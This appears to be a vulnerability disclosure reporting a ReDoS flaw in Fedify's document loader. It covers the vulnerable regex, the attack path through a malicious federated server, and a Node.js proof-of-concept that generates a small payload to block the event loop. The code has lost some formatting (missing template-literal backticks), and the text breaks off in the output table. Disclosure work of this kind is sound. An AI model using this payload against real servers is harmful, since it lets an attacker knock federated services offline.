Fedify has ReDoS Vulnerability in HTML Parsing Regex
Hi Fedify team! 👋
Thank you for your work on Fedify—it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at packages/fedify/src/runtime/docloader.ts:259 contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.
An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.
| Field | Value |
|-------|-------|
| CWE | CWE-1333 (Inefficient Regular Expression Complexity) |
Details
Vulnerable Code
The vulnerability is located in packages/fedify/src/runtime/docloader.ts, lines 258-264:
```typescript
// Line 258-259: Vulnerable regex with nested quantifiers
const p =
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
// Line 261: No size limit on response body
const html = await response.text();
// Line 264: Regex execution loop
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);
```
Root Cause Analysis
The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:
```
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
^^
Outer quantifier (+)
^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Inner pattern with alternation
```
- Outer quantifier:
((\s+...)+) - one or more groups of attributes - Inner alternation:
("[^"]*"|'[^']*'|[^\s>]+) - multiple ways to match attribute values
When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.
Attack Vector
1. Victim's Fedify application calls lookupObject("https://attacker.com/@user") to fetch an actor profile
2. Attacker's server responds with Content-Type: text/html
3. The code path: lookupObject() → documentLoader() → getRemoteDocument() → HTML parsing (lines 258-287)
4. Line 261: response.text() reads the entire body without size limits
5. Line 264: Regex execution triggers catastrophic backtracking
6. Event loop is blocked for seconds to minutes, causing DoS
Why This Is Exploitable
- No response size limit: The HTML body is read entirely via
response.text() without Content-Length validation - No timeout by default:
AbortSignal is optional and not enforced - Remote exploitation: Attacker just needs the victim to fetch from their URL
- No authentication required: Federation commonly involves fetching profiles from untrusted servers
- Amplifiable: Multiple concurrent requests can fully disable the service
PoC
Quick Reproduction (Node.js)
You can verify this vulnerability with the following standalone script:
```javascript
/**
- Fedify ReDoS Vulnerability - Minimal PoC
*
- This script reproduces the vulnerable regex from docloader.ts
- and demonstrates exponential time complexity.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
/**
- Generate malicious HTML payload
- Pattern: <a a="b" a="b" a="b"... (trailing space, no closing >)
*/
function generateMaliciousPayload(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
/**
- Simulate the vulnerable code path from docloader.ts lines 262-264
*/
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
// Test with increasing payload sizes
console.log('Fedify ReDoS Vulnerability PoC\n');
console.log('Repetitions | Payload Size | Time');
console.log('------------|--------------|--------');
for (const reps of [18, 20, 22, 24, 26, 28]) {
const payload = generateMaliciousPayload(reps);
const start = performance.now();
simulateVulnerableCodePath(payload);
const elapsed = performance.now() - start;
const timeStr = elapsed >= 1000
? ${(elapsed / 1000).toFixed(2)}s
: ${elapsed.toFixed(0)}ms;
console.log(${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr});
// Stop if it's taking too long
if (elapsed > 15000) break;
}
```
Expected Output
```
Fedify ReDoS Vulnerability PoC
Repetitions | Payload Size | Time
------------|--------------|--------
18 | 111
